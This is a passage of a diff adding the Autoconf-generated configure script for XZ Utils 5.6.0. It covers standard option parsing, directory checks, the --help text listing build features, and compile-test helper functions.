--datad=*) + datadir=$ac_optarg ;; + + -datarootdir | --datarootdir | --datarootdi | --datarootd | --dataroot \ + | --dataroo | --dataro | --datar) + ac_prev=datarootdir ;; + -datarootdir=* | --datarootdir=* | --datarootdi=* | --datarootd=* \ + | --dataroot=* | --dataroo=* | --dataro=* | --datar=*) + datarootdir=$ac_optarg ;; + + -disable-* | --disable-*) + ac_useropt=`expr "x$ac_option" : 'x-*disable-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid feature name: '$ac_useropt'" + ac_useropt_orig=$ac_useropt + ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"enable_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--disable-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval enable_$ac_useropt=no ;; + + -docdir | --docdir | --docdi | --doc | --do) + ac_prev=docdir ;; + -docdir=* | --docdir=* | --docdi=* | --doc=* | --do=*) + docdir=$ac_optarg ;; + + -dvidir | --dvidir | --dvidi | --dvid | --dvi | --dv) + ac_prev=dvidir ;; + -dvidir=* | --dvidir=* | --dvidi=* | --dvid=* | --dvi=* | --dv=*) + dvidir=$ac_optarg ;; + + -enable-* | --enable-*) + ac_useropt=`expr "x$ac_option" : 'x-*enable-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid feature name: '$ac_useropt'" + ac_useropt_orig=$ac_useropt + ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"enable_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--enable-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval enable_$ac_useropt=\$ac_optarg ;; + + -exec-prefix | --exec_prefix | --exec-prefix | --exec-prefi \ + | --exec-pref | --exec-pre | --exec-pr | --exec-p | --exec- \ + | --exec | --exe | --ex) + ac_prev=exec_prefix ;; + -exec-prefix=* | --exec_prefix=* | --exec-prefix=* | --exec-prefi=* \ + | --exec-pref=* | --exec-pre=* | --exec-pr=* | --exec-p=* | --exec-=* \ + | --exec=* | --exe=* | --ex=*) + exec_prefix=$ac_optarg ;; + + -gas | --gas | --ga | --g) + # Obsolete; use --with-gas. + with_gas=yes ;; + + -help | --help | --hel | --he | -h) + ac_init_help=long ;; + -help=r* | --help=r* | --hel=r* | --he=r* | -hr*) + ac_init_help=recursive ;; + -help=s* | --help=s* | --hel=s* | --he=s* | -hs*) + ac_init_help=short ;; + + -host | --host | --hos | --ho) + ac_prev=host_alias ;; + -host=* | --host=* | --hos=* | --ho=*) + host_alias=$ac_optarg ;; + + -htmldir | --htmldir | --htmldi | --htmld | --html | --htm | --ht) + ac_prev=htmldir ;; + -htmldir=* | --htmldir=* | --htmldi=* | --htmld=* | --html=* | --htm=* \ + | --ht=*) + htmldir=$ac_optarg ;; + + -includedir | --includedir | --includedi | --included | --include \ + | --includ | --inclu | --incl | --inc) + ac_prev=includedir ;; + -includedir=* | --includedir=* | --includedi=* | --included=* | --include=* \ + | --includ=* | --inclu=* | --incl=* | --inc=*) + includedir=$ac_optarg ;; + + -infodir | --infodir | --infodi | --infod | --info | --inf) + ac_prev=infodir ;; + -infodir=* | --infodir=* | --infodi=* | --infod=* | --info=* | --inf=*) + infodir=$ac_optarg ;; + + -libdir | --libdir | --libdi | --libd) + ac_prev=libdir ;; + -libdir=* | --libdir=* | --libdi=* | --libd=*) + libdir=$ac_optarg ;; + + -libexecdir | --libexecdir | --libexecdi | --libexecd | --libexec \ + | --libexe | --libex | --libe) + ac_prev=libexecdir ;; + -libexecdir=* | --libexecdir=* | --libexecdi=* | --libexecd=* | --libexec=* \ + | --libexe=* | --libex=* | --libe=*) + libexecdir=$ac_optarg ;; + + -localedir | --localedir | --localedi | --localed | --locale) + ac_prev=localedir ;; + -localedir=* | --localedir=* | --localedi=* | --localed=* | --locale=*) + localedir=$ac_optarg ;; + + -localstatedir | --localstatedir | --localstatedi | --localstated \ + | --localstate | --localstat | --localsta | --localst | --locals) + ac_prev=localstatedir ;; + -localstatedir=* | --localstatedir=* | --localstatedi=* | --localstated=* \ + | --localstate=* | --localstat=* | --localsta=* | --localst=* | --locals=*) + localstatedir=$ac_optarg ;; + + -mandir | --mandir | --mandi | --mand | --man | --ma | --m) + ac_prev=mandir ;; + -mandir=* | --mandir=* | --mandi=* | --mand=* | --man=* | --ma=* | --m=*) + mandir=$ac_optarg ;; + + -nfp | --nfp | --nf) + # Obsolete; use --without-fp. + with_fp=no ;; + + -no-create | --no-create | --no-creat | --no-crea | --no-cre \ + | --no-cr | --no-c | -n) + no_create=yes ;; + + -no-recursion | --no-recursion | --no-recursio | --no-recursi \ + | --no-recurs | --no-recur | --no-recu | --no-rec | --no-re | --no-r) + no_recursion=yes ;; + + -oldincludedir | --oldincludedir | --oldincludedi | --oldincluded \ + | --oldinclude | --oldinclud | --oldinclu | --oldincl | --oldinc \ + | --oldin | --oldi | --old | --ol | --o) + ac_prev=oldincludedir ;; + -oldincludedir=* | --oldincludedir=* | --oldincludedi=* | --oldincluded=* \ + | --oldinclude=* | --oldinclud=* | --oldinclu=* | --oldincl=* | --oldinc=* \ + | --oldin=* | --oldi=* | --old=* | --ol=* | --o=*) + oldincludedir=$ac_optarg ;; + + -prefix | --prefix | --prefi | --pref | --pre | --pr | --p) + ac_prev=prefix ;; + -prefix=* | --prefix=* | --prefi=* | --pref=* | --pre=* | --pr=* | --p=*) + prefix=$ac_optarg ;; + + -program-prefix | --program-prefix | --program-prefi | --program-pref \ + | --program-pre | --program-pr | --program-p) + ac_prev=program_prefix ;; + -program-prefix=* | --program-prefix=* | --program-prefi=* \ + | --program-pref=* | --program-pre=* | --program-pr=* | --program-p=*) + program_prefix=$ac_optarg ;; + + -program-suffix | --program-suffix | --program-suffi | --program-suff \ + | --program-suf | --program-su | --program-s) + ac_prev=program_suffix ;; + -program-suffix=* | --program-suffix=* | --program-suffi=* \ + | --program-suff=* | --program-suf=* | --program-su=* | --program-s=*) + program_suffix=$ac_optarg ;; + + -program-transform-name | --program-transform-name \ + | --program-transform-nam | --program-transform-na \ + | --program-transform-n | --program-transform- \ + | --program-transform | --program-transfor \ + | --program-transfo | --program-transf \ + | --program-trans | --program-tran \ + | --progr-tra | --program-tr | --program-t) + ac_prev=program_transform_name ;; + -program-transform-name=* | --program-transform-name=* \ + | --program-transform-nam=* | --program-transform-na=* \ + | --program-transform-n=* | --program-transform-=* \ + | --program-transform=* | --program-transfor=* \ + | --program-transfo=* | --program-transf=* \ + | --program-trans=* | --program-tran=* \ + | --progr-tra=* | --program-tr=* | --program-t=*) + program_transform_name=$ac_optarg ;; + + -pdfdir | --pdfdir | --pdfdi | --pdfd | --pdf | --pd) + ac_prev=pdfdir ;; + -pdfdir=* | --pdfdir=* | --pdfdi=* | --pdfd=* | --pdf=* | --pd=*) + pdfdir=$ac_optarg ;; + + -psdir | --psdir | --psdi | --psd | --ps) + ac_prev=psdir ;; + -psdir=* | --psdir=* | --psdi=* | --psd=* | --ps=*) + psdir=$ac_optarg ;; + + -q | -quiet | --quiet | --quie | --qui | --qu | --q \ + | -silent | --silent | --silen | --sile | --sil) + silent=yes ;; + + -runstatedir | --runstatedir | --runstatedi | --runstated \ + | --runstate | --runstat | --runsta | --runst | --runs \ + | --run | --ru | --r) + ac_prev=runstatedir ;; + -runstatedir=* | --runstatedir=* | --runstatedi=* | --runstated=* \ + | --runstate=* | --runstat=* | --runsta=* | --runst=* | --runs=* \ + | --run=* | --ru=* | --r=*) + runstatedir=$ac_optarg ;; + + -sbindir | --sbindir | --sbindi | --sbind | --sbin | --sbi | --sb) + ac_prev=sbindir ;; + -sbindir=* | --sbindir=* | --sbindi=* | --sbind=* | --sbin=* \ + | --sbi=* | --sb=*) + sbindir=$ac_optarg ;; + + -sharedstatedir | --sharedstatedir | --sharedstatedi \ + | --sharedstated | --sharedstate | --sharedstat | --sharedsta \ + | --sharedst | --shareds | --shared | --share | --shar \ + | --sha | --sh) + ac_prev=sharedstatedir ;; + -sharedstatedir=* | --sharedstatedir=* | --sharedstatedi=* \ + | --sharedstated=* | --sharedstate=* | --sharedstat=* | --sharedsta=* \ + | --sharedst=* | --shareds=* | --shared=* | --share=* | --shar=* \ + | --sha=* | --sh=*) + sharedstatedir=$ac_optarg ;; + + -site | --site | --sit) + ac_prev=site ;; + -site=* | --site=* | --sit=*) + site=$ac_optarg ;; + + -srcdir | --srcdir | --srcdi | --srcd | --src | --sr) + ac_prev=srcdir ;; + -srcdir=* | --srcdir=* | --srcdi=* | --srcd=* | --src=* | --sr=*) + srcdir=$ac_optarg ;; + + -sysconfdir | --sysconfdir | --sysconfdi | --sysconfd | --sysconf \ + | --syscon | --sysco | --sysc | --sys | --sy) + ac_prev=sysconfdir ;; + -sysconfdir=* | --sysconfdir=* | --sysconfdi=* | --sysconfd=* | --sysconf=* \ + | --syscon=* | --sysco=* | --sysc=* | --sys=* | --sy=*) + sysconfdir=$ac_optarg ;; + + -target | --target | --targe | --targ | --tar | --ta | --t) + ac_prev=target_alias ;; + -target=* | --target=* | --targe=* | --targ=* | --tar=* | --ta=* | --t=*) + target_alias=$ac_optarg ;; + + -v | -verbose | --verbose | --verbos | --verbo | --verb) + verbose=yes ;; + + -version | --version | --versio | --versi | --vers | -V) + ac_init_version=: ;; + + -with-* | --with-*) + ac_useropt=`expr "x$ac_option" : 'x-*with-\([^=]*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid package name: '$ac_useropt'" + ac_useropt_orig=$ac_useropt + ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"with_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--with-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval with_$ac_useropt=\$ac_optarg ;; + + -without-* | --without-*) + ac_useropt=`expr "x$ac_option" : 'x-*without-\(.*\)'` + # Reject names that are not valid shell variable names. + expr "x$ac_useropt" : ".*[^-+._$as_cr_alnum]" >/dev/null && + as_fn_error $? "invalid package name: '$ac_useropt'" + ac_useropt_orig=$ac_useropt + ac_useropt=`printf "%s\n" "$ac_useropt" | sed 's/[-+.]/_/g'` + case $ac_user_opts in + *" +"with_$ac_useropt" +"*) ;; + *) ac_unrecognized_opts="$ac_unrecognized_opts$ac_unrecognized_sep--without-$ac_useropt_orig" + ac_unrecognized_sep=', ';; + esac + eval with_$ac_useropt=no ;; + + --x) + # Obsolete; use --with-x. + with_x=yes ;; + + -x-includes | --x-includes | --x-include | --x-includ | --x-inclu \ + | --x-incl | --x-inc | --x-in | --x-i) + ac_prev=x_includes ;; + -x-includes=* | --x-includes=* | --x-include=* | --x-includ=* | --x-inclu=* \ + | --x-incl=* | --x-inc=* | --x-in=* | --x-i=*) + x_includes=$ac_optarg ;; + + -x-libraries | --x-libraries | --x-librarie | --x-librari \ + | --x-librar | --x-libra | --x-libr | --x-lib | --x-li | --x-l) + ac_prev=x_libraries ;; + -x-libraries=* | --x-libraries=* | --x-librarie=* | --x-librari=* \ + | --x-librar=* | --x-libra=* | --x-libr=* | --x-lib=* | --x-li=* | --x-l=*) + x_libraries=$ac_optarg ;; + + -*) as_fn_error $? "unrecognized option: '$ac_option' +Try '$0 --help' for more information" + ;; + + *=*) + ac_envvar=`expr "x$ac_option" : 'x\([^=]*\)='` + # Reject names that are not valid shell variable names. + case $ac_envvar in #( + '' | [0-9]* | *[!_$as_cr_alnum]* ) + as_fn_error $? "invalid variable name: '$ac_envvar'" ;; + esac + eval $ac_envvar=\$ac_optarg + export $ac_envvar ;; + + *) + # FIXME: should be removed in autoconf 3.0. + printf "%s\n" "$as_me: WARNING: you should use --build, --host, --target" >&2 + expr "x$ac_option" : ".*[^-._$as_cr_alnum]" >/dev/null && + printf "%s\n" "$as_me: WARNING: invalid host type: $ac_option" >&2 + : "${build_alias=$ac_option} ${host_alias=$ac_option} ${target_alias=$ac_option}" + ;; + + esac +done + +if test -n "$ac_prev"; then + ac_option=--`echo $ac_prev | sed 's/_/-/g'` + as_fn_error $? "missing argument to $ac_option" +fi + +if test -n "$ac_unrecognized_opts"; then + case $enable_option_checking in + no) ;; + fatal) as_fn_error $? "unrecognized options: $ac_unrecognized_opts" ;; + *) printf "%s\n" "$as_me: WARNING: unrecognized options: $ac_unrecognized_opts" >&2 ;; + esac +fi + +# Check all directory arguments for consistency. +for ac_var in exec_prefix prefix bindir sbindir libexecdir datarootdir \ + datadir sysconfdir sharedstatedir localstatedir includedir \ + oldincludedir docdir infodir htmldir dvidir pdfdir psdir \ + libdir localedir mandir runstatedir +do + eval ac_val=\$$ac_var + # Remove trailing slashes. + case $ac_val in + */ ) + ac_val=`expr "X$ac_val" : 'X\(.*[^/]\)' \| "X$ac_val" : 'X\(.*\)'` + eval $ac_var=\$ac_val;; + esac + # Be sure to have absolute directory names. + case $ac_val in + [\\/$]* | ?:[\\/]* ) continue;; + NONE | '' ) case $ac_var in *prefix ) continue;; esac;; + esac + as_fn_error $? "expected an absolute directory name for --$ac_var: $ac_val" +done + +# There might be people who depend on the old broken behavior: '$host' +# used to hold the argument of --host etc. +# FIXME: To remove some day. +build=$build_alias +host=$host_alias +target=$target_alias + +# FIXME: To remove some day. +if test "x$host_alias" != x; then + if test "x$build_alias" = x; then + cross_compiling=maybe + elif test "x$build_alias" != "x$host_alias"; then + cross_compiling=yes + fi +fi + +ac_tool_prefix= +test -n "$host_alias" && ac_tool_prefix=$host_alias- + +test "$silent" = yes && exec 6>/dev/null + + +ac_pwd=`pwd` && test -n "$ac_pwd" && +ac_ls_di=`ls -di .` && +ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || + as_fn_error $? "working directory cannot be determined" +test "X$ac_ls_di" = "X$ac_pwd_ls_di" || + as_fn_error $? "pwd does not report name of working directory" + + +# Find the source files, if location was not specified. +if test -z "$srcdir"; then + ac_srcdir_defaulted=yes + # Try the directory containing this script, then the parent directory. + ac_confdir=`$as_dirname -- "$as_myself" || +$as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ + X"$as_myself" : 'X\(//\)[^/]' \| \ + X"$as_myself" : 'X\(//\)$' \| \ + X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || +printf "%s\n" X"$as_myself" | + sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ + s//\1/ + q + } + /^X\(\/\/\)[^/].*/{ + s//\1/ + q + } + /^X\(\/\/\)$/{ + s//\1/ + q + } + /^X\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + srcdir=$ac_confdir + if test ! -r "$srcdir/$ac_unique_file"; then + srcdir=.. + fi +else + ac_srcdir_defaulted=no +fi +if test ! -r "$srcdir/$ac_unique_file"; then + test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." + as_fn_error $? "cannot find sources ($ac_unique_file) in $srcdir" +fi +ac_msg="sources are in $srcdir, but 'cd $srcdir' does not work" +ac_abs_confdir=`( + cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error $? "$ac_msg" + pwd)` +# When building in place, set srcdir=. +if test "$ac_abs_confdir" = "$ac_pwd"; then + srcdir=. +fi +# Remove unnecessary trailing slashes from srcdir. +# Double slashes in file names in object file debugging info +# mess up M-x gdb in Emacs. +case $srcdir in +*/) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; +esac +for ac_var in $ac_precious_vars; do + eval ac_env_${ac_var}_set=\${${ac_var}+set} + eval ac_env_${ac_var}_value=\$${ac_var} + eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} + eval ac_cv_env_${ac_var}_value=\$${ac_var} +done + +# +# Report the --help message. +# +if test "$ac_init_help" = "long"; then + # Omit some internal or obsolete options to make the list less imposing. + # This message is too long to be a string in the A/UX 3.1 sh. + cat <<_ACEOF +'configure' configures XZ Utils 5.6.0 to adapt to many kinds of systems. + +Usage: $0 [OPTION]... [VAR=VALUE]... + +To assign environment variables (e.g., CC, CFLAGS...), specify them as +VAR=VALUE. See below for descriptions of some of the useful variables. + +Defaults for the options are specified in brackets. + +Configuration: + -h, --help display this help and exit + --help=short display options specific to this package + --help=recursive display the short help of all the included packages + -V, --version display version information and exit + -q, --quiet, --silent do not print 'checking ...' messages + --cache-file=FILE cache test results in FILE [disabled] + -C, --config-cache alias for '--cache-file=config.cache' + -n, --no-create do not create output files + --srcdir=DIR find the sources in DIR [configure dir or '..'] + +Installation directories: + --prefix=PREFIX install architecture-independent files in PREFIX + [$ac_default_prefix] + --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX + [PREFIX] + +By default, 'make install' will install all the files in +'$ac_default_prefix/bin', '$ac_default_prefix/lib' etc. You can specify +an installation prefix other than '$ac_default_prefix' using '--prefix', +for instance '--prefix=\$HOME'. + +For better control, use the options below. + +Fine tuning of the installation directories: + --bindir=DIR user executables [EPREFIX/bin] + --sbindir=DIR system admin executables [EPREFIX/sbin] + --libexecdir=DIR program executables [EPREFIX/libexec] + --sysconfdir=DIR read-only single-machine data [PREFIX/etc] + --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] + --localstatedir=DIR modifiable single-machine data [PREFIX/var] + --runstatedir=DIR modifiable per-process data [LOCALSTATEDIR/run] + --libdir=DIR object code libraries [EPREFIX/lib] + --includedir=DIR C header files [PREFIX/include] + --oldincludedir=DIR C header files for non-gcc [/usr/include] + --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] + --datadir=DIR read-only architecture-independent data [DATAROOTDIR] + --infodir=DIR info documentation [DATAROOTDIR/info] + --localedir=DIR locale-dependent data [DATAROOTDIR/locale] + --mandir=DIR man documentation [DATAROOTDIR/man] + --docdir=DIR documentation root [DATAROOTDIR/doc/xz] + --htmldir=DIR html documentation [DOCDIR] + --dvidir=DIR dvi documentation [DOCDIR] + --pdfdir=DIR pdf documentation [DOCDIR] + --psdir=DIR ps documentation [DOCDIR] +_ACEOF + + cat <<\_ACEOF + +Program names: + --program-prefix=PREFIX prepend PREFIX to installed program names + --program-suffix=SUFFIX append SUFFIX to installed program names + --program-transform-name=PROGRAM run sed PROGRAM on installed program names + +System types: + --build=BUILD configure for building on BUILD [guessed] + --host=HOST cross-compile to build programs to run on HOST [BUILD] +_ACEOF +fi + +if test -n "$ac_init_help"; then + case $ac_init_help in + short | recursive ) echo "Configuration of XZ Utils 5.6.0:";; + esac + cat <<\_ACEOF + +Optional Features: + --disable-option-checking ignore unrecognized --enable/--with options + --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) + --enable-FEATURE[=ARG] include FEATURE [ARG=yes] + --enable-debug Enable debugging code. + --enable-encoders=LIST Comma-separated list of encoders to build. + Default=all. Available encoders: lzma1 lzma2 delta + x86 powerpc ia64 arm armthumb arm64 sparc riscv + --enable-decoders=LIST Comma-separated list of decoders to build. + Default=all. Available decoders are the same as + available encoders. + --enable-match-finders=LIST + Comma-separated list of match finders to build. + Default=all. At least one match finder is required + for encoding with the LZMA1 and LZMA2 filters. + Available match finders: hc3 hc4 bt2 bt3 bt4 + --enable-checks=LIST Comma-separated list of integrity checks to build. + Default=all. Available integrity checks: crc32 crc64 + sha256 + --enable-external-sha256 + Use SHA-256 code from the operating system. See + INSTALL for possible subtle problems. + --disable-microlzma Do not build MicroLZMA encoder and decoder. It is + needed by specific applications only, for example, + erofs-utils. + --disable-lzip-decoder Disable decompression support for .lz (lzip) files. + --disable-assembler Do not use assembler optimizations even if such + exist for the architecture. + --disable-clmul-crc Do not use carryless multiplication for CRC + calculation even if support for it is detected. + --disable-arm64-crc32 Do not use ARM64 CRC32 instructions even if support + for it is detected. + --enable-small Make liblzma smaller and a little slower. This is + disabled by default to optimize for speed. + --enable-threads=METHOD Supported METHODS are 'yes', 'no', 'posix', 'win95', + and 'vista'. The default is 'yes'. Using 'no' + together with --enable-small makes liblzma thread + unsafe. + --enable-assume-ram=SIZE + If and only if the real amount of RAM cannot be + determined, assume SIZE MiB. The default is 128 MiB. + This affects the default memory usage limit. + --disable-xz do not build the xz tool + --disable-xzdec do not build xzdec + --disable-lzmadec do not build lzmadec (it exists primarily for LZMA + Utils compatibility) + --disable-lzmainfo do not build lzmainfo (it exists primarily for LZMA + Utils compatibility) + --disable-lzma-links do not create symlinks for LZMA Utils compatibility + --disable-scripts do not install the scripts xzdiff, xzgrep, xzless, + xzmore, and their symlinks + --disable-doc do not install documentation files to docdir (man + pages will still be installed) + --enable-sandbox=METHOD Sandboxing METHOD can be 'auto', 'no', 'capsicum', + 'pledge', or 'landlock'. The default is 'auto' which + enables sandboxing if a supported sandboxing method + is found. + --enable-path-for-scripts=PREFIX + If PREFIX isn't empty, PATH=PREFIX:$PATH will be set + in the beginning of the scripts (xzgrep and others). + The default is empty except on Solaris the default + is /usr/xpg4/bin. + --enable-silent-rules less verbose build output (undo: "make V=1") + --disable-silent-rules verbose build output (undo: "make V=0") + --enable-dependency-tracking + do not reject slow dependency extractors + --disable-dependency-tracking + speeds up one-time build + --enable-shared[=PKGS] build shared libraries [default=yes] + --enable-static[=PKGS] build static libraries [default=yes] + --enable-fast-install[=PKGS] + optimize for fast installation [default=yes] + --disable-libtool-lock avoid locking (might break parallel builds) + --enable-symbol-versions + Use symbol versioning for liblzma. Enabled by + default on GNU/Linux, other GNU-based systems, and + FreeBSD. + --disable-nls do not use Native Language Support + --disable-rpath do not hardcode runtime library paths + --disable-largefile omit support for large files + --enable-ifunc Use __attribute__((__ifunc__())). Enabled by default + on GNU/Linux (glibc) and FreeBSD. + --enable-unaligned-access + Enable if the system supports *fast* unaligned + memory access with 16-bit, 32-bit, and 64-bit + integers. By default, this is enabled on x86, + x86-64, 32/64-bit big endian PowerPC, 64-bit little + endian PowerPC, and some ARM, ARM64, and RISC-V + systems. + --enable-unsafe-type-punning + This introduces strict aliasing violations and may + result in broken code. However, this might improve + performance in some cases, especially with old + compilers (e.g. GCC 3 and early 4.x on x86, GCC < 6 + on ARMv6 and ARMv7). + --enable-werror Enable -Werror to abort compilation on all compiler + warnings. + --enable-year2038 support timestamps after 2038 + +Optional Packages: + --with-PACKAGE[=ARG] use PACKAGE [ARG=yes] + --without-PACKAGE do not use PACKAGE (same as --with-PACKAGE=no) + --with-pic[=PKGS] try to use only PIC/non-PIC objects [default=use + both] + --with-aix-soname=aix|svr4|both + shared library versioning (aka "SONAME") variant to + provide on AIX, [default=aix]. + --with-gnu-ld assume the C compiler uses GNU ld [default=no] + --with-sysroot[=DIR] Search for dependent libraries within DIR (or the + compiler's sysroot if not specified). + --with-gnu-ld assume the C compiler uses GNU ld [default=no] + --with-libiconv-prefix[=DIR] search for libiconv in DIR/include and DIR/lib + --without-libiconv-prefix don't search for libiconv in includedir and libdir + --with-libintl-prefix[=DIR] search for libintl in DIR/include and DIR/lib + --without-libintl-prefix don't search for libintl in includedir and libdir + +Some influential environment variables: + CC C compiler command + CFLAGS C compiler flags + LDFLAGS linker flags, e.g. -L if you have libraries in a + nonstandard directory + LIBS libraries to pass to the linker, e.g. -l + CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if + you have headers in a nonstandard directory + CCAS assembler compiler command (defaults to CC) + CCASFLAGS assembler compiler flags (defaults to CFLAGS) + CPP C preprocessor + LT_SYS_LIBRARY_PATH + User-defined run-time library search path. + +Use these variables to override the choices made by 'configure' or to help +it to find libraries and programs with nonstandard names/locations. + +Report bugs to . +XZ Utils home page: . +_ACEOF +ac_status=$? +fi + +if test "$ac_init_help" = "recursive"; then + # If there are subdirs, report their specific --help. + for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue + test -d "$ac_dir" || + { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || + continue + ac_builddir=. + +case "$ac_dir" in +.) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; +*) + ac_dir_suffix=/`printf "%s\n" "$ac_dir" | sed 's|^\.[\\/]||'` + # A ".." for each directory in $ac_dir_suffix. + ac_top_builddir_sub=`printf "%s\n" "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` + case $ac_top_builddir_sub in + "") ac_top_builddir_sub=. ac_top_build_prefix= ;; + *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; + esac ;; +esac +ac_abs_top_builddir=$ac_pwd +ac_abs_builddir=$ac_pwd$ac_dir_suffix +# for backward compatibility: +ac_top_builddir=$ac_top_build_prefix + +case $srcdir in + .) # We are building in place. + ac_srcdir=. + ac_top_srcdir=$ac_top_builddir_sub + ac_abs_top_srcdir=$ac_pwd ;; + [\\/]* | ?:[\\/]* ) # Absolute name. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir + ac_abs_top_srcdir=$srcdir ;; + *) # Relative name. + ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_build_prefix$srcdir + ac_abs_top_srcdir=$ac_pwd/$srcdir ;; +esac +ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix + + cd "$ac_dir" || { ac_status=$?; continue; } + # Check for configure.gnu first; this name is used for a wrapper for + # Metaconfig's "Configure" on case-insensitive file systems. + if test -f "$ac_srcdir/configure.gnu"; then + echo && + $SHELL "$ac_srcdir/configure.gnu" --help=recursive + elif test -f "$ac_srcdir/configure"; then + echo && + $SHELL "$ac_srcdir/configure" --help=recursive + else + printf "%s\n" "$as_me: WARNING: no configuration information is in $ac_dir" >&2 + fi || ac_status=$? + cd "$ac_pwd" || { ac_status=$?; break; } + done +fi + +test -n "$ac_init_help" && exit $ac_status +if $ac_init_version; then + cat <<\_ACEOF +XZ Utils configure 5.6.0 +generated by GNU Autoconf 2.72 + +Copyright (C) 2023 Free Software Foundation, Inc. +This configure script is free software; the Free Software Foundation +gives unlimited permission to copy, distribute and modify it. +_ACEOF + exit +fi + +## ------------------------ ## +## Autoconf initialization. ## +## ------------------------ ## + +# ac_fn_c_try_compile LINENO +# -------------------------- +# Try to compile conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_compile () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + rm -f conftest.$ac_objext conftest.beam + if { { ac_try="$ac_compile" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_compile") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test -s conftest.$ac_objext +then : + ac_retval=0 +else case e in #( + e) printf "%s\n" "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_retval=1 ;; +esac +fi + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + as_fn_set_status $ac_retval + +} # ac_fn_c_try_compile + +# ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES +# ------------------------------------------------------- +# Tests whether HEADER exists and can be compiled using the include files in +# INCLUDES, setting the cache variable VAR accordingly. +ac_fn_c_check_header_compile () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 +printf %s "checking for $2... " >&6; } +if eval test \${$3+y} +then : + printf %s "(cached) " >&6 +else case e in #( + e) cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +$4 +#include <$2> +_ACEOF +if ac_fn_c_try_compile "$LINENO" +then : + eval "$3=yes" +else case e in #( + e) eval "$3=no" ;; +esac +fi +rm -f core conftest.err conftest.$ac_objext conftest.beam conftest.$ac_ext ;; +esac +fi +eval ac_res=\$$3 + { printf "%s\n" "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 +printf "%s\n" "$ac_res" >&6; } + eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno + +} # ac_fn_c_check_header_compile + +# ac_fn_c_try_link LINENO +# ----------------------- +# Try to link conftest.$ac_ext, and return whether this succeeded. +ac_fn_c_try_link () +{ + as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack + rm -f conftest.$ac_objext conftest.beam conftest$ac_exeext + if { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +printf "%s\n" "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>conftest.err + ac_status=$? + if test -s conftest.err; then + grep -v '^ *+' conftest.err >conftest.er1 + cat conftest.er1 >&5 + mv -f conftest.er1 conftest.err + fi + printf "%s\n" "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } && { + test -z "$ac_c_werror_flag" || + test ! -s conftest.err + } && test 